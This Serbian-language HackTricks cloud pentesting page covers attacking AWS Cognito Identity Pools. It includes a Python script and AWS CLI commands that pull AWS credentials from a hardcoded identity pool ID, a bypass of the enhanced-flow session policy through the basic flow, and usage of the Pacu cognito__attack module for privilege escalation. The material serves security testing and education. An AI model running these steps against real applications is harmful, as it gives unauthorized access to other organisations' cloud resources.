Cognito Identity Pools
Reading time: 8 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Identity pools igraju ključnu ulogu omogućavajući vašim korisnicima da dobiju privremene akreditive. Ovi akreditive su neophodni za pristup raznim AWS uslugama, uključujući, ali ne ograničavajući se na Amazon S3 i DynamoDB. Značajna karakteristika identity pools je njihova podrška za anonimne gostujuće korisnike i niz provajdera identiteta za autentifikaciju korisnika. Podržani provajderi identiteta uključuju:
- Amazon Cognito user pools
- Opcije prijave putem društvenih mreža kao što su Facebook, Google, Login with Amazon i Sign in with Apple
- Provajderi usklađeni sa OpenID Connect (OIDC)
- SAML (Security Assertion Markup Language) provajderi identiteta
- Identiteti koje autentifikuje programer
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3
# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')
# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'
# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)
# Print the response from AWS
print(response)
Cognito Sync
Da biste generisali sesije Identity Pool-a, prvo morate generisati Identity ID. Ovaj Identity ID je identifikacija sesije tog korisnika. Ove identifikacije mogu imati do 20 skupova podataka koji mogu čuvati do 1MB parova ključ-vrednost.
Ovo je korisno za čuvanje informacija o korisniku (koji će uvek koristiti isti Identity ID).
Štaviše, usluga cognito-sync je usluga koja omogućava upravljanje i sinhronizaciju ovih informacija (u skupovima podataka, slanje informacija u tokovima i SNS porukama...).
Tools for pentesting
- Pacu, AWS okvir za eksploataciju, sada uključuje module "cognito__enum" i "cognito__attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identitetskog bazena, preuzimljivih uloga u id tokenima itd.
Za opis funkcija modula pogledajte deo 2 blog posta. Za uputstva za instalaciju pogledajte glavnu Pacu stranicu.
Usage
Primer korišćenja cognito__attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identitetskog bazena i klijenta korisničkog bazena:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Primer korišćenja cognito__enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. koji su vidljivi u trenutnom AWS nalogu:
Pacu (new:test) > run cognito__enum
- Cognito Scanner je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identitetskog bazena.
Instalacija
$ pip install cognito-scanner
Korišćenje
$ cognito-scanner --help
Za više informacija proverite https://github.com/padok-team/cognito-scanner
Pristup IAM rolama
Neautentifikovani
Jedina stvar koju napadač treba da zna da bi dobio AWS kredencijale u Cognito aplikaciji kao neautentifikovani korisnik je ID identitetskog bazena, i ovaj ID mora biti hardkodiran u web/mobilnoj aplikaciji da bi se koristio. ID izgleda ovako: eu-west-1:098e5341-8364-038d-16de-1865e435da3b
(nije moguće izvršiti brute force).
tip
IAM Cognito neautentifikovana uloga kreirana putem se po defaultu zove Cognito_<Ime identitetskog bazena>Unauth_Role
Ako pronađete ID identitetskog bazena hardkodiran i omogućava neautentifikovanim korisnicima, možete dobiti AWS kredencijale sa:
import requests
region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}
r = requests.post(url, json=params, headers=headers)
json_resp = r.json()
if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit
IdentityId = r.json()["IdentityId"]
params = {'IdentityId': IdentityId}
headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)
print(r.json())
Ili možete koristiti sledeće aws cli komande:
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
warning
Imajte na umu da po default-u neautentifikovani cognito korisnik NE MOŽE imati nikakva prava, čak i ako su dodeljena putem politike. Proverite sledeću sekciju.
Poboljšan vs Osnovni tok autentifikacije
Prethodna sekcija je pratila podrazumevani poboljšani tok autentifikacije. Ovaj tok postavlja restriktivnu politiku sesije za IAM ulogu koja je generisana. Ova politika će omogućiti sesiji da koristi usluge sa ove liste (čak i ako je uloga imala pristup drugim uslugama).
Međutim, postoji način da se to zaobiđe, ako je Identitetski bazen omogućio "Osnovni (Klasični) Tok", korisnik će moći da dobije sesiju koristeći taj tok koji neće imati tu restriktivnu politiku sesije.
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign
# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
warning
Ako primite ovu grešku, to je zato što osnovni tok nije omogućen (podrazumevano)
Došlo je do greške (InvalidParameterException) prilikom pozivanja operacije GetOpenIdToken: Osnovni (klasični) tok nije omogućen, molimo koristite unapređeni tok.
Imajući set IAM kredencijala, trebali biste proveriti koje pristupe imate i pokušati da povećate privilegije.
Autentifikovani
note
Zapamtite da će autentifikovani korisnici verovatno imati različite dozvole, pa ako možete da se prijavite unutar aplikacije, pokušajte to i dobijte nove kredencijale.
Takođe bi mogle biti dostupne uloge za autentifikovane korisnike koji pristupaju Identity Pool-u.
Za ovo možda ćete morati da imate pristup provajderu identiteta. Ako je to Cognito User Pool, možda možete iskoristiti podrazumevano ponašanje i sami kreirati novog korisnika.
tip
IAM Cognito autentifikovana uloga kreirana putem se podrazumevano naziva Cognito_<Ime Identity Pool-a>Auth_Role
U svakom slučaju, sledeći primer očekuje da ste se već prijavili unutar Cognito User Pool-a koji se koristi za pristup Identity Pool-u (ne zaboravite da bi drugi tipovi provajdera identiteta takođe mogli biti konfigurisani).
aws cognito-identity get-id \
--identity-pool-id \
--logins cognito-idp..amazonaws.com/=
# Dobijte identity_id iz prethodnog odgovora komande
aws cognito-identity get-credentials-for-identity \
--identity-id \
--logins cognito-idp..amazonaws.com/=
# U IdToken-u možete pronaći uloge kojima korisnik ima pristup zbog User Pool Grupa
# Koristite --custom-role-arn da dobijete kredencijale za specifičnu ulogu
aws cognito-identity get-credentials-for-identity \
--identity-id \
--custom-role-arn \
--logins cognito-idp..amazonaws.com/=
warning
Moguće je konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta preko kojeg se korisnik prijavljuje ili čak samo u zavisnosti od korisnika (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istih ili različitih provajdera, možda bi bilo korisno prijaviti se i pristupiti IAM ulogama svih njih.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.